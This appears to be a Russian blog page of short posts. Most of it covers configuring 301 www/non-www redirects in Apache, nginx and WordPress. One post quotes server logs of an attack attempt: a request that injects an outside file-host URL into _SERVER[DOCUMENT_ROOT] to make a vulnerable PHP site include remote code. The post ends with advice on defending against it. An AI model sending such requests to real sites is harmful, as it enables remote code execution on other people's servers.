301 – permanent redirect

SEOшники очень любят склеивать имя домена с www. и без него, оставляя что-то одно, кому что больше нравится. Лично мне больше нравится без www, т.к. www – пережиток прошлого, эдакий атавизм.

Apache

В веб-сервере Apache для склейки, как правило, используется редирект или реврайт (правило). Первый способ – это создание двух отдельных доменов на сервере и перенаправление с домена с www на домен без www с помощью редиректа в файле .htaccess, например:

RedirectMatch (.*) http://domain.tld/$1

Если вы сторонник mod_rewrite и домен у вас создан не раздельно, можно использовать следующий код:

Options +FollowSymLinks
RewriteEngine on
RewriteBase /
RewriteCond %{HTTP_HOST} !^www.domain.tld$ [NC]
RewriteRule ^(.*)$ http://www.domain.tld/$1 [R=301,NC]

При этом будет происходить редирект с domain.tld на www.domain.tld, если нужно наоборот, просто удалите в правиле "www".

Nginx

В веб-сервере nginx, чтобы перенаправлять запросы с домена с www на домен без www, пропишите в блоке server{} следующий код:

if ($host != 'domain.tld' ) {
   rewrite  ^/(.*)$  http://domain.tld/$1  permanent;
}

Но в этом случае вы не сможете использовать субдомены, если они вам нужны :), пропишите следующее правило:

if ($host = 'www.domain.tld' ) {
   rewrite  ^/(.*)$  http://domain.tld/$1  permanent;
}

N.B.

Учтите, что ВордПресс сам умеет редиректить, в нем нужно изменить настройки в:

Параметры –> Общие


Пропишите в блоках "Адрес WordPress (URL)" и "Адрес сайта (URL)" желаемый адрес, имя домена с www или без него.

TIP
Вы также можете изменить директорию установки WordPress.

Читать остальную часть заметки »

Теги: , , , , , , , , , , ,

man president

Куда пойти почитать документацию по Президенту 4.0 Апачу 2.0/2.1? Ну конечно же на сайт Апача Президента!

Да йош знания в массы! 🙂


Теги: , , , , , , , ,

Скрипткиды или боты

Хакеры, а точнее скрипткиды, не спят. Несколько дней назад на мой сайт начали проводиться попытки атак запросами, эксплуатирующими старую уязвимость в PHP.

/var/log/messages:
Oct  4 03:23:34 220 suhosin[28420]: ALERT — tried to register forbidden variable ‘_SERVER[DOCUMENT_ROOT]‘ through GET variables (attacker ‘77.242.37.212‘, file ‘/xxx/domain.tld/index.php’)

Пример запроса (из лога апача):
211.111.213.195 — — [05/Oct/2009:08:26:22 +0300] «GET //?_SERVER[DOCUMENT_ROOT]=http://www.hotlinkfiles.com/files/2380695_oajch/IDtest.txt??? HTTP/1.1» 302 — «-» «Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)»

Файл IDtest.txt все еще доступен для скачивания. Видимо никто еще на него не жаловался или хостинг игнорирует абузы.

Как защититься?

a) обновите PHP;
b) не включайте register_globals (оставьте Off);
c) дополнительно можете пользоваться патчем/модулем suhosin.


Теги: , , , , , , , , , , ,